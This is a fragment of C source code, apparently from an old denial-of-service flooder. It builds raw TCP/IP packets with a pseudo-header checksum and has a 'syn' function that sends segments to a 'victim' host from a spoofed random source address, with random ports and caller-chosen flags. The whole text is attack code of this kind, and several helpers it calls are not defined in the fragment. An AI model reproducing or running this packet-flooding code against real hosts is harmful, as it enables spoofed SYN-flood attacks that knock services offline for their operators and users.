/* that mess was ripped out of void's code ;)*/unsigned long send_seq, ack_seq, srcport;#define SEQ 0x28374839void send_tcp_segment(struct ip *ih, struct tcphdr *th, char *data,int dlen) {  char buf[65536];  struct {  /* rfc 793 tcp pseudo-header */    unsigned long saddr, daddr;    char mbz;    char ptcl;    unsigned short tcpl;  } ph;  struct sockaddr_in sin;  ph.saddr=ih->ip_src.s_addr;  ph.daddr=ih->ip_dst.s_addr;  ph.mbz=0;  ph.ptcl=IPPROTO_TCP;  ph.tcpl=htons(sizeof(*th)+dlen);  memcpy(buf, &ph, sizeof(ph));  memcpy(buf+sizeof(ph), th, sizeof(*th));  memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);  memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);  th->th_sum=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);  memcpy(buf, ih, 4*ih->ip_hl);  memcpy(buf+4*ih->ip_hl, th, sizeof(*th));  memcpy(buf+4*ih->ip_hl+sizeof(*th), data, dlen);  memset(buf+4*ih->ip_hl+sizeof(*th)+dlen, 0, 4);  ih->ip_sum=ip_sum(buf, (4*ih->ip_hl + sizeof(*th)+ dlen + 1) & ~1);  memcpy(buf, ih, 4*ih->ip_hl);  sin.sin_family=AF_INET;  sin.sin_port=th->th_dport;  sin.sin_addr.s_addr=ih->ip_dst.s_addr;  sendto(rawsock, buf, 4*ih->ip_hl + sizeof(*th)+ dlen, 0, (struct sockaddr *)&sin, sizeof(sin));}void syn (u_long victim, u_short port, u_short flagg){  int i, s;  unsigned long my_ip;  struct ip ih;  struct tcphdr th;  struct sockaddr_in sin;  int sinsize;  unsigned short myport=6969;  char buf[1024], b[1024];  struct timeval tv;  srandom(time(NULL));  ih.ip_v=4;  ih.ip_hl=5;  ih.ip_tos=0;                  /* XXX is this normal? */  ih.ip_len=sizeof(ih)+sizeof(th);  ih.ip_id=htons(random());  ih.ip_off=0;  ih.ip_ttl=30;  ih.ip_p=IPPROTO_TCP;  ih.ip_sum=0;  ih.ip_src.s_addr=k00lip();  ih.ip_dst.s_addr=victim;  srcport = getrandom(1, 1024)+1000;  th.th_sport=htons(srcport);  if (port == 0)        th.th_dport=htons(getrandom(0, 65535));  else        th.th_dport=htons(port);  th.th_seq=htonl(SEQ);  th.th_off=sizeof(th)/4;  th.th_ack=(random());  th.th_flags = flagg;  th.th_win=htons(65535);  th.th_sum=0;  th.th_urp=(random());  gettimeofday(&tv, 0);  send_tcp_segment(&ih, &th, "", 0);  send_seq = th.th_seq+1+strlen(buf);}